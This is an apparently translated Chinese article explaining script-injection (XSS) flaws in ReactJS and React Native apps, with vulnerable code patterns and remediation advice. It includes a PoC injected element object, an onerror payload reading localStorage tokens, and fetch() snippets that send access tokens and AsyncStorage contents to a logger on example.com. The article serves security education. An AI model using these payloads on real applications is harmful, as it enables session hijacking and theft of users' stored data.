利用腳本注入漏洞攻擊ReactJS應(yīng)用程序
ReactJS是一款能夠幫助開發(fā)者構(gòu)建用戶接口的熱門JavaScript庫(kù)。在它的幫助下,開發(fā)者可以構(gòu)建出內(nèi)容豐富的客戶端或Web應(yīng)用,并且提前加載內(nèi)容以提供更好的用戶體驗(yàn)。
從設(shè)計(jì)角度來(lái)看,只要你能夠按照開發(fā)標(biāo)準(zhǔn)來(lái)使用ReactJS的話,它其實(shí)是非常安全的。但是在網(wǎng)絡(luò)安全領(lǐng)域中,沒有任何東西是絕對(duì)安全的,而錯(cuò)誤的編程實(shí)踐方式將導(dǎo)致類似腳本注入漏洞之類的問(wèn)題產(chǎn)生,這些錯(cuò)誤的編程方式包括:
1.利用用戶提供的對(duì)象來(lái)創(chuàng)建React組件;
2.利用用戶提供的href屬性來(lái)配置標(biāo)簽,或利用其他可注入的屬性來(lái)設(shè)置其他的HTML標(biāo)簽(例如link標(biāo)簽);
3.顯示地設(shè)置一個(gè)元素的dangerouslySetInnerHTML屬性(危險(xiǎn)的HTML標(biāo)簽屬性);
4.向eval()傳遞用戶提供的字符串?dāng)?shù)據(jù);
接下來(lái),讓我們一起看一看這些潛在的問(wèn)題將如何影響ReactJS應(yīng)用程序,并最終導(dǎo)致了腳本注入漏洞的出現(xiàn)。
組件、屬性和元素
在ReactJS應(yīng)用程序中,組件是最基本的組成部分。從本質(zhì)上來(lái)說(shuō),這些組件其實(shí)都類似于JavaScript函數(shù),它們可以接受任意的輸入數(shù)據(jù),然后返回React元素。一個(gè)基本的ReactJS組件如下所示:
- class Welcome extends React.Component {
- render() {
- return <h1>Hello, {this.props.name}</h1>;
- }
- }
請(qǐng)注意上面代碼中的return語(yǔ)句,這是一種JavaScript中的語(yǔ)句擴(kuò)展(JSX)。在項(xiàng)目構(gòu)建的過(guò)程中,JSX代碼將會(huì)被編譯成常規(guī)的JavaScript(ES5)代碼。下面給出的兩種樣本代碼其功能是完全相同的:
- // JSX
- const element = (
- <h1 className=”greeting”>
- Hello, world!
- </h1>
- );
- // Transpiled to createElement() call
- const element = React.createElement(
- ‘h1’,
- {className: ‘greeting’},
- ‘Hello, world!’
- );
- 在創(chuàng)建新的React元素時(shí),使用的是component類中的createElement()函數(shù):
- React.createElement(
- type,
- [props],
- [...children]
- )
這個(gè)函數(shù)可以接受三個(gè)參數(shù):
1.type參數(shù):該參數(shù)可以是一個(gè)標(biāo)簽名(例如'div'或'span'),或一個(gè)component類。但是在React Native中只允許component類。
2.props參數(shù):該參數(shù)包含一個(gè)傳遞給新元素的屬性列表。
3.children參數(shù):該參數(shù)包含新元素的子節(jié)點(diǎn)。
如果你能夠控制其中任何一個(gè)參數(shù)的話,那么這個(gè)參數(shù)就會(huì)變成攻擊向量。
注入子節(jié)點(diǎn)
早2015年3月份,Daniel LeCheminant報(bào)告了一個(gè)存在于HackerOne的存儲(chǔ)型跨站腳本漏洞(XSS)。這個(gè)漏洞的成因如下:HackerOne的Web應(yīng)用會(huì)將用戶所提供的任意對(duì)象當(dāng)作children參數(shù)傳遞給React.createElement()函數(shù)。根據(jù)我們的推測(cè),存在漏洞的代碼可能跟下方給出的代碼比較相似:
- * Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason.
- attacker_supplied_value = JSON.parse(some_user_input)
- */
- render() {
- return <span>{attacker_supplied_value}</span>;
- }
這段JSX代碼將會(huì)被轉(zhuǎn)譯成如下所示的JavaScript代碼:
- React.createElement("span", null, attacker_supplied_value};
如果其中的attacker_supplied_value是一個(gè)字符串的話(正常情況),代碼將會(huì)生成一個(gè)正常的span元素。但是在當(dāng)前版本的ReactJS中,createElement()函數(shù)還會(huì)接受以children參數(shù)形式傳遞的普通對(duì)象。Daniel通過(guò)一個(gè)JSON編碼的對(duì)象利用了這個(gè)漏洞,他在這個(gè)對(duì)象中包含了dangerouslySetInnerHTML屬性,這將允許他向React呈現(xiàn)的輸出效果中注入原始的HTML代碼。最終的PoC代碼:
- {
- _isReactElement: true,
- _store: {},
- type: “body”,
- props: {
- dangerouslySetInnerHTML: {
- __html:
- "<h1>Arbitrary HTML</h1>
- <script>alert(‘No CSP Support :(‘)</script>
- <a href=’http://danlec.com'>link</a>"
- }
- }
- }
相關(guān)的漏洞緩解方案可以在React.js的GitHub主頁(yè)上找到,感興趣的同學(xué)可以參考。在2015年11月份,Sebastian Markbåge提交了一個(gè)修復(fù)方案:為React元素引入了$$typeof: Symbol.for('react.element')屬性。由于無(wú)法從一個(gè)注入對(duì)象引用全局JavaScript符號(hào),所以Daniel設(shè)計(jì)的漏洞利用技術(shù)(注入child元素)就無(wú)法再使用了。
控制元素類型
雖然我們不能再將普通對(duì)象來(lái)當(dāng)作ReactJS元素來(lái)使用了,但是組件注入并非不可能實(shí)現(xiàn),因?yàn)閏reateElement()函數(shù)還可以接受type參數(shù)中的字符串?dāng)?shù)據(jù)。我們假設(shè)開發(fā)者采用了如下所示的代碼:
- // Dynamically create an element from a string stored in the backend.
- element_name = stored_value;
- React.createElement(element_name, null);
如果stored_value是一個(gè)由攻擊者控制的字符串,那我們就可以創(chuàng)建任意的React組件了。但是此時(shí)創(chuàng)建的是一個(gè)普通的無(wú)屬性HTML元素,而這種東西對(duì)于攻擊者來(lái)說(shuō)是沒有任何作用的。因此,我們必須要能夠控制新創(chuàng)建元素的屬性才可以。
注入屬性(props)
請(qǐng)大家先看看下面給出的這段代碼:
- // Parse attacker-supplied JSON for some reason and pass
- // the resulting object as props.
- // Don't do this at home unless you are a trained expert!
- attacker_props = JSON.parse(stored_value)
- React.createElement("span", attacker_props};
這樣一來(lái),我們就可以向新元素中注入任意屬性了。我們可以使用下面給出的Payload來(lái)設(shè)置dangerouslySetInnerHTML屬性:
- {"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}
跨站腳本漏洞
某些傳統(tǒng)的XSS攻擊向量同樣適用于ReactJS應(yīng)用程序。請(qǐng)大家接著往下看:
(1) 顯示地設(shè)置dangerouslySetInnerHTML屬性
很多開發(fā)者可能會(huì)有目的地去設(shè)置dangerouslySetInnerHTML屬性:
- <div dangerouslySetInnerHTML={user_supplied} />
很明顯,如果你能夠控制這些屬性的參數(shù)值,那你就能夠注入任意的JavaScript代碼了。
(2) 可注入的屬性
如果你能夠控制一個(gè)動(dòng)態(tài)生成的標(biāo)簽的href屬性,那就沒有什么可以阻止你向其參數(shù)值中注入JavaScript代碼(通過(guò)javascript:)了。除了href屬性之外,在現(xiàn)代瀏覽器中HTML5按鈕的formaction屬性同樣也是可注入的。
- <a href={userinput}>Link</a>
- <button form="name" formaction={userinput}>
另一個(gè)非常奇怪的注入向量就是HTML imports:
- <link rel=”import” href={user_supplied}>
(3) 服務(wù)器端呈現(xiàn)的HTML
為了降低初始化頁(yè)面的呈現(xiàn)時(shí)間,很多開發(fā)人員會(huì)在服務(wù)器端預(yù)先加載React.JS頁(yè)面(也就是所謂的“服務(wù)器端呈現(xiàn)”)。在2016年11月份,Emilia Smith發(fā)現(xiàn)官方Redux代碼樣本中存在一個(gè)跨站腳本漏洞(XSS),因?yàn)榭蛻舳藸顟B(tài)被嵌入到了預(yù)呈現(xiàn)頁(yè)面中并沒有被過(guò)濾掉。(樣本代碼中的漏洞現(xiàn)在已經(jīng)修復(fù))
如果HTML頁(yè)面在服務(wù)器端預(yù)呈現(xiàn)的話,你也許可以在普通的Web應(yīng)用中找到類似的跨站腳本漏洞。
基于eval()的注入
如果應(yīng)用程序使用了eval()來(lái)動(dòng)態(tài)執(zhí)行一個(gè)由你控制的注入字符串,那你就非常幸運(yùn)了。在這種情況下,你就可以隨意選擇你需要注入的代碼了:
- function antiPattern() {
- eval(this.state.attacker_supplied);
- }
XSS Payload
在現(xiàn)代Web開發(fā)領(lǐng)域,很多機(jī)制的開發(fā)人員會(huì)選擇使用無(wú)狀態(tài)的會(huì)話令牌,并且將它們保存在客戶端的本地存儲(chǔ)中。因此,攻擊者必須根據(jù)這種情況來(lái)設(shè)計(jì)相應(yīng)的Payload。
當(dāng)你在利用跨站腳本漏洞來(lái)攻擊ReactJS Web應(yīng)用程序時(shí),你能夠隨意注入任意代碼,如果再配合使用下面列出的代碼,你就可以從目標(biāo)設(shè)備的本地存儲(chǔ)中獲取訪問(wèn)令牌并將其發(fā)送到你的記錄程序中:
- fetch(‘http://example.com/logger.php?
- token='+localStorage.access_token);
React Native
React Native是一款移動(dòng)應(yīng)用開發(fā)框架,它可以幫助開發(fā)人員使用ReactJS構(gòu)建原生移動(dòng)應(yīng)用。更確切地說(shuō),它提供了一個(gè)能夠再移動(dòng)設(shè)備上運(yùn)行React JavaScript包的運(yùn)行時(shí)環(huán)境。除此之外,我們還可以使用React Native for Web讓一個(gè)React Native應(yīng)用在普通的Web瀏覽器中運(yùn)行。
但是就我們目前的研究結(jié)果來(lái)看,上面列出的腳本注入向量都不適用于React Native:
1.React Native的createInternalComponent方法只接受包含標(biāo)簽的component類,所以即便是你能夠完全控制傳遞給createElement()的參數(shù),你野無(wú)法創(chuàng)建任意元素;
2.不存在HTML元素,HTML代碼也不會(huì)被解析,所以普通的基于瀏覽器的XSS向量(例如'href')就無(wú)法正常工作了。
只有基于eval()的變量才可以在移動(dòng)設(shè)備上被攻擊者利用。如果你能夠通過(guò)eval()注入JavaScript代碼,你就可以訪問(wèn)React Native API并做一些有趣的事情了。比如說(shuō),你可以從本地存儲(chǔ)(AsyncStorage)中竊取數(shù)據(jù)了,相關(guān)的操作代碼如下所示:
- _reactNative.AsyncStorage.getAllKeys(function(err,result)
- {_reactNative.AsyncStorage.multiGet(result,function(err,result)
- {fetch(‘http://example.com/logger.php?
- token='+JSON.stringify(result));});});
建議
雖然從設(shè)計(jì)的角度出發(fā),ReactJS還是非常安全的,但是這個(gè)世界上沒有絕對(duì)安全的東西,不好的編程習(xí)慣將導(dǎo)致各種嚴(yán)重的安全漏洞出現(xiàn):
我們建議各位開發(fā)者們不要再使用eval()函數(shù)或dangerouslySetInnerHTML屬性,并避免解析用戶提供的JSON數(shù)據(jù)。